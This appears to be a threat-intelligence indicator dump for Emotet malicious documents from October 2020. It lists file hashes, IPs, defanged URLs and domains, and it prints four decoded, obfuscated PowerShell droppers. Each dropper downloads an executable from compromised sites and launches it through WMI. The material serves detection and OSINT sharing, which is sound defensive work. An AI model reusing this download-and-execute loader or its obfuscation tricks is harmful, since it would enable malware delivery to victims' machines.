Emotet_Doc_out_2020-10-23_14_00.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
59235980108e00a0011ebeca9348c5a39ef6d6ec0b052e15ddeb825e9c21e3d5
838408d31e494e72b257feeec73407a2f778e6ecc47754ae16af0290515dc9fd
b48740ac3919ddfa5302fcd58e7884c4cd98992629d68a8b1ed03918a6941160
185382e8a67536b4ee2d828ab8b2477fc82d6de13e085231dc28569b46329b9d
a129d723a80571d6c9f4402118e7a138d3ce0439cefeb6718c1e34d246586d51
0066b1d5dd24b167cf158ec3c464c0fb0a4601c4ceb91b64832e7cc48b0b7bcf
6c49caf6677d01292592be7dccf2afba089ae40400a93f732447d3f894ef551f


IPs:
103.8.25.135
104.18.48.158
104.18.48.233
104.18.48.39
104.18.49.158
104.18.49.233
104.18.49.39
104.27.163.61
104.27.163.9
104.31.76.164
104.31.77.164
109.232.217.183
131.153.44.4
13.234.68.224
136.243.93.91
145.239.84.108
172.67.136.156
172.67.155.28
172.67.210.231
172.67.215.51
209.141.38.86
211.149.252.72
213.190.6.120
223.255.153.246
31.220.104.7
35.208.69.64
45.252.248.20
46.17.175.19
51.81.109.122
66.97.40.114
68.66.248.54
88.99.145.163
89.221.212.63
94.130.141.30



URLs:
hxxps://acheterdrogues.com/wp-admin/m/
hxxps://hcareconcepts.com/cgi-bin/1Pwwxf/
hxxp://jiafunongye.com/application/NJ3Ta/
hxxp://amarteargentina.com.ar/wp-admin/GOAvrV/
hxxp://allcannabismeds.com/unraid-map/xcGN/
hxxp://caacholidays.com.hk/wp-content/jaayDboQ/
hxxps://selerakampung.com/wp-admin/AGF5qXG/
hxxp://primaage.com/wp-admin/is/
hxxp://uvibrands.com/QIG/
hxxps://morrobaydrugandgift.com/wp-contentbak/T9M/
hxxp://autodidactai.com/wp-content/5SF/
hxxps://cs.vitalero.com/wp-includes/Vf/
hxxp://arcadia-consult.com/wp-admin/6O/
hxxp://acheterpermis-deconduire.com/wp-admin/network/vv/
hxxp://www.sangamapparel.com/wp-content_old/whE/
hxxp://techarpit.xyz/wp-content/GM/
hxxps://sarfco.com/wp-content/6YE/
hxxps://best-browser.top/wp-includes/lL/
hxxps://alternatul.com/wp-includes/4rS/
hxxps://rapicampi.com/wp-content/ib/
hxxps://initiativepropertiesltd.com/home/S7s/
hxxps://rallyemas.com/wp-content/x51/
hxxps://swiftbusinesspay.com/instantworldpay.com/OkII6/
hxxp://www.chapelknollestates.com/cgi-bin/Xr9RkLq/
hxxp://ffbutik.com/wp-includes/tb/
hxxps://inspiresint.com/wp-admin/4qNS8hW/
hxxp://www.sc2gym.com/indexing/RMsorI/
hxxp://akdparivar.com/css/J/
hxxp://yudaobath.com/wp-includes/vbayxJ/


Domains:
acheterdrogues.com
hcareconcepts.com
jiafunongye.com
amarteargentina.com.ar
allcannabismeds.com
caacholidays.com.hk
selerakampung.com
primaage.com
uvibrands.com
morrobaydrugandgift.com
autodidactai.com
cs.vitalero.com
arcadia-consult.com
acheterpermis-deconduire.com
www.sangamapparel.com
techarpit.xyz
sarfco.com
best-browser.top
alternatul.com
rapicampi.com
initiativepropertiesltd.com
rallyemas.com
swiftbusinesspay.com
www.chapelknollestates.com
ffbutik.com
inspiresint.com
www.sc2gym.com
akdparivar.com
yudaobath.com


Decoded Base64 Powershell:
<���^,  set-ITeM  vARIAbLE:tyDO  [Type]"{3}{2}{1}{4}{0}"-F Y,IRE,o.D,SySTEM.i,ctOR ;
   SET  1Wvi   [tYpE]"{1}{7}{6}{3}{2}{8}{5}{4}{0}" -F r,sYsTEm.,pO,Ice,Age,aN,rV,Net.SE,inTM  ;
$H8jl4y_=Uieokkq;
$M5ql71e=$Bg2gbls  [char]64  $Emk8ns3;
$Qka_r4j=Koiojxg;
    GI VAriable:TYdo.VaLUE::"CreAT`eD`IREctOry"$HOME  v7fMnxaxoav7fNg8stcgv7f."RePl`ACe"[cHar]118[cHar]55[cHar]102,\;
$Sfqmm_d=Kpfqnc7;
   VArIABle 1wvI.valUE::"SECur`I`TyP`RO`TOcOL" = Tls12;
$M12_jrk=X84xcdv;
$Mfiiuym = Dahicpcy;
$Aucx5ql=Y9u7h_j;
$Epqgr8l=Qkm7yhb;
$N4uxh1v=$HOMEoxOMnxaxoaoxONg8stcgoxO-CrePlaCEoxO,[chAR]92$Mfiiuym.exe;
$B4j8hxd=Meegby0;
$Q0qf5ga=&new-object Net.wEBCLIENt;
$Eetoy3l=hxxps://acheterdrogues.com/wp-admin/m/
hxxps://hcareconcepts.com/cgi-bin/1Pwwxf/
hxxp://jiafunongye.com/application/NJ3Ta/
hxxp://amarteargentina.com.ar/wp-admin/GOAvrV/
hxxp://allcannabismeds.com/unraid-map/xcGN/
hxxp://caacholidays.com.hk/wp-content/jaayDboQ/
hxxps://selerakampung.com/wp-admin/AGF5qXG/."r`EpLAce"/,/."Sp`lIt"$Yn8axs1  $M5ql71e  $Gjatdp6;
$X85o2mx=Iazm3f4;
foreach $Uxarsvr in $Eetoy3l{try{$Q0qf5ga."dOWN`LOA`dFILe"$Uxarsvr, $N4uxh1v;
$Jl0klba=Bfy0xvm;
If .Get-Item $N4uxh1v."L`E`NgTH" -ge 31582 {[wmiclass]win32_Process."C`R`EATe"$N4uxh1v;
$Kke6ulw=Jyx5omd;
break;
$Bg4rvp6=Gmvzy82}}catch{}}$Pco6ye4=Ju0no2z<���^, SET-variabLE mxk7   [tyPe]"{3}{4}{5}{2}{0}{1}" -fiR,EctorY,d,S,YstEM.,io. ;
Set-itEM  VARiABLE:hyNwB3    [TYpE]"{3}{2}{0}{4}{1}" -fEM.NeT.S,rVICEPointMANAGeR,sT,sy,E  ;
  $Lfae3z7=Yl6mzvf;
$L6jmis9=$Vpfq_4o  [char]64  $P141djk;
$Mn8dr5a=Koydv4a;
  $MxK7::"crEAt`eDiRE`cto`Ry"$HOME  {0}Hlywoqf{0}L16iy2n{0}  -F [cHAR]92;
$P6pjw97=Tntc8gg;
  geT-VARiaBle  hYNwB3  -VaLUeO::"S`ecu`R`ItyPR`OtocoL" = Tls12;
$Ag7lybs=Kuawekc;
$M2hp2yo = R9ei5acus;
$Iel01jh=Bp9zhun;
$Wc8ksrk=J0b07ae;
$Gpjkh09=$HOMEM4CHlywoqfM4CL16iy2nM4C-replAce  [Char]77[Char]52[Char]67,[Char]92$M2hp2yo.exe;
$Voznzq5=Kgiy6_1;
$Zhx8bx2=.new-object Net.WEbCliEnT;
$Rndm_7g=hxxp://primaage.com/wp-admin/is/
hxxp://uvibrands.com/QIG/
hxxps://morrobaydrugandgift.com/wp-contentbak/T9M/
hxxp://autodidactai.com/wp-content/5SF/
hxxps://cs.vitalero.com/wp-includes/Vf/
hxxp://arcadia-consult.com/wp-admin/6O/
hxxp://acheterpermis-deconduire.com/wp-admin/network/vv/."rePLa`CE"/,/."SP`liT"$Wofaxh3  $L6jmis9  $Vuv2hjc;
$Hx746_2=Fe7ljx7;
foreach $N59f7h8 in $Rndm_7g{try{$Zhx8bx2."D`oWnlOaDf`iLe"$N59f7h8, $Gpjkh09;
$Grcr6dy=P5te7dv;
If .Get-Item $Gpjkh09."LE`NgTh" -ge 33179 {[wmiclass]win32_Process."Cre`AtE"$Gpjkh09;
$Enie917=T4tmqxh;
break;
$Es2gvhh=Ghbrwte}}catch{}}$Shdjyjl=F4dlflf<���^, seT-ItEM  "vAR""I""ABLe:""DAVFp"  [Type]"{2}{1}{0}{5}{3}{4}"-F o.di,.I,sYsTem,Or,Y,reCt    ;
 SEt-IteM  VArIaBLE:EIwJ   [TYPe]"{4}{2}{0}{3}{1}"-FER,r,em.neT.s,VicePoINtmAnAge,SyST ;
  $Jzevic6=Bi2d7hh;
$Fvdapsb=$E04ctqv  [char]64  $Xy36noy;
$Lmx1oru=Imzkfs5;
 ChILditEM "vAR""I""AblE:""daVfp" .VALUE::"cR`eAtEdI`REctO`Ry"$HOME  AtITgw2t8vAtITiqo6heAtI."RE`pLACe"AtI,\;
$A5h8ocj=Cbyuka8;
   gI vARIable:EIWJ.VALuE::"s`eCur`iTYPr`oTOCOL" = Tls12;
$P3yuvri=Ke2g3k0;
$Dh1ujeh = Vh5th3v;
$Czwn4_o=La1o6j_;
$Psrklcf=Cj1dgnr;
$B620y_h=$HOME{0}Tgw2t8v{0}Tiqo6he{0}  -F[chaR]92$Dh1ujeh.exe;
$Ejr7678=Tp13vuv;
$Jmcywj6=&new-object NeT.WebcLIEnT;
$S_5uvv3=hxxp://www.sangamapparel.com/wp-content_old/whE/
hxxp://techarpit.xyz/wp-content/GM/
hxxps://sarfco.com/wp-content/6YE/
hxxps://best-browser.top/wp-includes/lL/
hxxps://alternatul.com/wp-includes/4rS/
hxxps://rapicampi.com/wp-content/ib/
hxxps://initiativepropertiesltd.com/home/S7s/."rep`lA`CE"/,/."SPl`IT"$Fj0zkld  $Fvdapsb  $O4kujkf;
$N7iv3ez=Pbu7mnj;
foreach $Xv3dcwv in $S_5uvv3{try{$Jmcywj6."dowNlOa`dfI`LE"$Xv3dcwv, $B620y_h;
$Rf78p3u=Ermcvmg;
If &Get-Item $B620y_h."L`eNGth" -ge 38841 {[wmiclass]win32_Process."CR`eAtE"$B620y_h;
$Qjzm_4d=Fdi2hyg;
break;
$U7dpiy2=Jol3xej}}catch{}}$Cv1evgz=Ungyld0<���^, seT-ITeM  vaRiabLe:wgN9  [typE]"{3}{2}{1}{0}"-F RY,DirECto,eM.Io.,SySt  ;
 SET-Item variABlE:ItmFc   [tYPE]"{4}{1}{0}{7}{6}{5}{2}{3}" -FsE,m.nET.,NTMANAGe,R,SySTE,I,po,RviCE  ;
 $O3k2aje=P63zfnz;
$G4yxyz5=$Sqmz15i  [char]64  $M9xxs_s;
$Zgd8pdd=Ol7z7la;
  $WgN9::"cRE`AtEd`IReCTo`Ry"$HOME  1qmHyarty_1qmNm_cy551qm."repLa`ce"[ChaR]49[ChaR]113[ChaR]109,\;
$Rbmhre3=Nlkdwri;
   varIAbLe Itmfc -Valu  ::"s`ECu`RItYprO`To`COl" = Tls12;
$Im1_j3t=Jmfp9td;
$Quvxn2l = Xr0ryl;
$Wonod5a=Bdkmtvb;
$Xs16f0n=Zidgfs2;
$Fyaar5a=$HOME{0}Hyarty_{0}Nm_cy55{0}-f [CHar]92$Quvxn2l.exe;
$Ao6v7oq=I9dmyhu;
$G12ifty=.new-object NET.weBClieNT;
$Ztzxxiq=hxxps://rallyemas.com/wp-content/x51/
hxxps://swiftbusinesspay.com/instantworldpay.com/OkII6/
hxxp://www.chapelknollestates.com/cgi-bin/Xr9RkLq/
hxxp://ffbutik.com/wp-includes/tb/
hxxps://inspiresint.com/wp-admin/4qNS8hW/
hxxp://www.sc2gym.com/indexing/RMsorI/
hxxp://akdparivar.com/css/J/
hxxp://yudaobath.com/wp-includes/vbayxJ/."rEplA`cE"/,/."sp`lit"$Wuc00q4  $G4yxyz5  $Avo715j;
$Imlf2qb=B7si7be;
foreach $G6t9heq in $Ztzxxiq{try{$G12ifty."dOWNLO`ADFI`lE"$G6t9heq, $Fyaar5a;
$Rtlwq4a=P0uk_ue;
If .Get-Item $Fyaar5a."leNG`Th" -ge 40493 {[wmiclass]win32_Process."cREA`TE"$Fyaar5a;
$O_l7p6p=O8c9va_;
break;
$Phhsyeu=Tu382ts}}catch{}}$Zumb59j=Xc679x_